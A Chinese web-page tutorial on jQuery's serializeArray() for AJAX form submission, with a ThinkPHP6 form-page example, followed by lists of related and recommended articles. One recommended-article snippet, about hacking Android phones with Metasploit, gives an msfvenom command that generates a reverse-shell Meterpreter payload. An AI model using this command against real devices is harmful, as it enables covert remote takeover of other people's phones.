serializeArray()在ajax表单提交时候非常方便获取元素

定义和用法

serializeArray() 方法通过序列化表单值来创建对象数组(名称和值)。

您可以选择一个或多个表单元素(比如 input 及/或 textarea),或者 form 元素本身。

语法

$(selector).serializeArray()

返回的 JSON 对象是由一个对象数组组成的,其中每个对象包含一个或两个名值对 —— name 参数和 value 参数(如果 value 不为空的话)。举例来说:

[
{name: 'firstname', value: 'Hello'},
{name: 'lastname', value: 'World'},
{name: 'alias'}, // 值为空
]

在from表单外的值也可以通过push添加name,value

var formdata = $("#viewpoint").serializeArray();
var content = {};
var html = $("#detail_desc").val();
content['name'] = 'content';
content['value'] = html;
formdata.push(content);

.serializeArray() 方法使用了 W3C 关于 successful controls(有效控件) 的标准来检测哪些元素应当包括在内。特别说明,元素不能被禁用(禁用的元素不会被包括在内),并且元素应当有含有 name 属性。提交按钮的值也不会被序列化。文件选择元素的数据也不会被序列化。

该方法可以对已选择单独表单元素的对象进行操作,比如 <input>, <textarea>, 和 <select>。不过,更方便的方法是,直接选择 <form> 标签自身来进行序列化操作。

实例thinkphp6的前端

  1 <link rel="stylesheet" href="{$static}/css/managenment.css?version={$version}">
2
3 <link rel="stylesheet" type="text/css" href="{$static}/css/private.css?version={$version}">
4 <!-- 导航 -->
5 <div class="managenment">
6 {include file="manager/menu"}
7 <div class='release-right'>
8 <p class='release-right-title'>发布观点</p>
9 <div class='release-right-edit'>
10 <form id="viewpoint">
11 <table class='tables'>
12 <tr>
13 <td>标题</td>
14 <td><input type="text" placeholder='请输入标题,字数不能大于50字' name="name"></td>
15 </tr>
16 <tr>
17 <td>简介</td>
18 <td><textarea name="desc" placeholder="请输入简介,字数不能大于70字"></textarea></td>
19 </tr>
20 <tr>
21 <td>封面</td>
22 <td class='covers'>
23 <img class="file gradient" src="{$static}/images/shangchuan.jpg" onclick="startFile()"
24 id="img">
25 <input type="file" id="selectFile" onchange="uploadFile(this)" style="display: none;">
26 <p>尺寸:480*360 jpg / png格式</p>
27 </td>
28 </tr>
29 <input type="hidden" id="showImageValue" name="image" value="">
30 <tr>
31 <td><span class='eqs'>来源方式</span></td>
32 <td>
33 <div class="radio ralai">
34 <input type="radio" id='ids' name="source" class='inputss' value="0" checked="checked">
35 <label class='inputLable active' for='ids'>自创</label>
36 </div>
37 <div class="radio ralai">
38 <input type="radio" id='securities' name="source" class='inputss' value="1">
39 <label class='inputLable' for='securities'>其它</label>
40 </div>
41 </td>
42 </tr>
43 <tr>
44 <td>来源名称</td>
45 <td><input type="text" placeholder='请输入来源名称,字数不能大于50字' name="source_title"></td>
46 </tr>
47 <tr>
48 <td>评论权限</td>
49 <td>
50 <div class="radio" onclick="radioClick(this)">
51 <input type="radio" name="comment_status" value="1" checked class="inputss">
52 <label class="inputLable active">允许</label>
53 </div>
54 <div class="radio" onclick="radioClick(this)">
55 <input type="radio" name="comment_status" value="0" class="inputss">
56 <label class="inputLable">关闭</label>
57 </div>
58 </td>
59 </tr>
60 <tr>
61 <td>分类</td>
62 <td>
63 <select name="cate_id">
64 <option value="">请选择分类</option>
65 {foreach $type as $t}
66 <option value="{$t.id}">{$t.title}</option>
67 {/foreach}
68 </select>
69 </td>
70 </tr>
71 <tr>
72 <td style='vertical-align: top;'>标签</td>
73 <td class='lable-th'>
74 {foreach $tag as $tg}
75 <div class='checkeds'>
76 <input type="checkbox" class='inputss' id='ids_{$tg.id}' value="{$tg.id}" name="tags[]">
77 <label for="ids_{$tg.id}">{$tg.title}</label>
78 </div>
79 {/foreach}
80 </td>
81 </tr>
82 </table>
83 <div class='release-cont'>
84 <span>内容</span>
85 <textarea id="detail_desc" name="content" lay-verify="content"></textarea>
86 </div>
87 <div class='btnss'>
88 <div class='btns-lt' onclick="submitData(0)">发布</div>
89 <div class='btns-rt' onclick="submitData(-1)">保存到草稿箱</div>
90 </div>
91 </form>
92
93 </div>
94 </div>
95 <div class='clear'></div>
96 </div>
97 </body>
98 <script src="{$static}/js/main.js?version={$version}"></script>
99 <script>
100 var editor;
101 var html;
102 KindEditor.ready(function (K) {
103 editor = K.create('#detail_desc', {
104 width : '700px',
105 height:'401px',
106 });
107 });
108 $(function () {
109 $(".radio").click(function () {
110 var num = $(".radio").index(this);
111 $(this).children("label").addClass("active").parent(".radio").siblings().children('label').removeClass("active");
112 $(".lables").eq(num).removeClass("clas").siblings().addClass('clas');
113
114 });
115 $(".lable-th label").click(function () {
116 var index = $(this).index();
117 if ($(this).hasClass('active')) {
118 $(this).removeClass('active');
119 $(this).children('img').remove();
120 } else {
121 $(this).addClass('active').append("<img src='{$static}/images/biaoqian-icon.png'>");
122 }
123 })
124 })
125
126 function submitData(type) {
127 editor.sync();
128 var formdata = $("#viewpoint").serializeArray();
129 if (type == 0){
130 var backVal = checkdata(formdata);
131 if (!backVal) {
132 return false;
133 }
134 }
135 var content = {};
136 var submit_type = {};
137 var html = $("#detail_desc").val();
138 submit_type['name'] = 'submit_type';
139 submit_type['value'] = type;
140 content['name'] = 'content';
141 content['value'] = html;
142 formdata.push(content);
143 formdata.push(submit_type);
144 $.post("/viewpoint/create", formdata, function (result) {
145 if (result.code == 200) {
146 if (type == -1){
147 showTips("保存成功");
148 }else{
149 showTips("发布成功");
150 }
151 setTimeout(function (){location.reload();},100)
152 } else {
153 showTips(result.msg);
154 }
155 });
156 }
157
158 function startFile() {
159 $("#selectFile").click();
160 }
161
162 function uploadFile(file) {
163 var formData = new FormData();
164 formData.append("file", file.files[0]);
165 console.log(formData);
166 $.ajax({
167 url: '/upload/image',
168 dataType: 'json',
169 type: 'POST',
170 data: formData,
171 processData: false, // 使数据不做处理
172 contentType: false, // 不要设置Content-Type请求头
173 success: function (result) {
174 if (result.code == 200) {
175 $("#img").attr("src", result.data.src);
176 $("#showImageValue").val(result.data.src);
177 } else {
178 showTips(result.msg);
179 }
180 },
181 error: function (response) {
182 showTips(response.message);
183 isUpload = false;
184 },
185 });
186 }
187
188 function checkdata(data) {
189 var values = [];
190 for (var property in data) {
191 values[data[property]['name']] = data[property]['value'];
192 }
193 if (values['name'] == '') {
194 showTips("请填写观点标题")
195 return false;
196 }
197 if (!values['desc']) {
198 showTips('请填写观点简介');
199 return false;
200 }
201 if (values['cate_id'] == '') {
202 showTips('请选择观点分类');
203 return false;
204 }
205 if (values['tags[]'] == '') {
206 showTips('请选择观点标签');
207 return false;
208 }
209 if (values['content'] == '') {
210 showTips('请填写观点内容');
211 return false;
212 }
213 return true;
214 }
215 </script>
216 </html>

jQuery ajax - serializeArray() 方法 实例表单提交的更多相关文章

  1. jQuery ajax - serializeArray() 方法

    定义和用法 serializeArray() 方法通过序列化表单值来创建对象数组(名称和值). 您可以选择一个或多个表单元素(比如 input 及/或 textarea),或者 form 元素本身. ...

  2. 不使用Ajax,如何实现表单提交不刷新页面

    不使用Ajax,如何实现表单提交不刷新页面? 目前,我想到的是使用<iframe>,如果有其他的方式,后续再补. 举个栗子: 在表单上传文件的时候必须设置enctype="mul ...

  3. jqPaginator分页(ajax用法和form表单提交用法)

    一般使用方法 <!DOCTYPE html> <html> <head lang="en"> <meta charset="UT ...

  4. Jquery添加元素append及阻止表单提交submit

    HTML代码: <td><input name="duration[]" value="" type="text" /&g ...

  5. jquery ajax 的data 存表单的值

    jsp <body> <form action="" method="post" id="formid">  < ...

  6. Jquery.serializeArray()可看表单提交内容

  7. ajax请求与form表单提交共存的时候status为canceled

    chrome浏览器调试,发现,status竟然是canceled状态 网上总论: 1.在URL变更后,会对当前正在执行的ajax进求进行中止操作.中止后该请求的状态码将为canceled 2.在使用到 ...

  8. 浏览器下载/导出文件 及jQuery表单提交

    1 比如以下按钮, 用于导出文件,如EXCEL文件. <li> <button class="whiteBg btn2" onclick="doExp( ...

  9. 使用jQuery,实现完美的表单异步提交

    jQuery异步提交表单 <form id="form1" method="post"> <table border="1" ...

  10. MVC下HtmlHelper自带BeginForm表单提交与异步Ajax请求

    假如有一个数据表格UserInfo: public class UserInfo { public int Id { get; set; } public string Name { get; set ...

随机推荐

  1. MSF 入侵安卓手机

    生成木马文件 msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.135.247 LPPRT=5555 进行文件传输: python3 ...

  2. apache安装详解

    Apache安装 准备工作. 首先在C盘根目录下创建一个名为web的文件夹作为php开发环境的安装位置,并在web文件夹中创建apache24子文件夹,将apache解压后文件放至此处. 安装包 首先 ...

  3. KubeSphere 社区双周报| 2024.07.19-08.01

    KubeSphere 社区双周报主要整理展示新增的贡献者名单和证书.新增的讲师证书以及两周内提交过 commit 的贡献者,并对近期重要的 PR 进行解析,同时还包含了线上/线下活动和布道推广等一系列 ...

  4. 云原生周刊:HashiCorp Vault 1.14 发布 | 2023.6.26

    开源项目推荐 Helmfile Helmfile 是一个开源工具,使用 Helm charts 简化复杂应用程序的部署.它提供了一种声明性的方式来定义 Kubernetes 资源的期望状态,并管理 H ...

  5. 网页设计中常用的Web英文安全字体

    原文地址:https://www.openkee.com/post-176.html 在 Web 编码中,CSS 默认应用的 Web 字体是有限的,你能看到的字体别人未必看得到.虽然在新版本的CSS3 ...

  6. 2.16 Linux挂载详解

    前面讲过,Linux 系统中"一切皆文件",所有文件都放置在以根目录为树根的树形目录结构中.在 Linux 看来,任何硬件设备也都是文件,它们各有自己的一套文件系统(文件目录结构) ...

  7. OpenCV开发笔记(八十二):两图拼接使用渐进色蒙版场景过渡缝隙

    前言   对于图像拼接,前面探讨了通过基于Stitcher进行拼接过渡和基于特征点进行拼接过渡,这2个过渡的方式是摄像头拍摄角度和方向不应差距太大.  对于特定的场景,本身摄像头拍摄角度差距较大,拉伸 ...

  8. delphi Image32 路径

    用 Image32的理由之一,也是路径这块做得比delphi(FMX)自带的要好,skia中支持svg,但对路径处理功能不够强大.VCL只能使用第三方库. VCL如果要支持SVG,只有 Image32 ...

  9. typescript 接口和对象类型(四)

    在typescript中,我们定义对象的方式要用关键字interface(接口), 使用interface来定义一种约束,让数据的结构满足约束的格式.定义方式如下:   // 定义一个接口类型 int ...

  10. Apache+JK+Tomcat 负载平衡配置

    网 上关于 Apache + JK + Tomcat 的集群配置例子很多,按着例子配置下来,基本都能运行,不过,在一些重要的地方却没有进一步的说明.这次公司一个产品就是采用Apache+JK+Tomc ...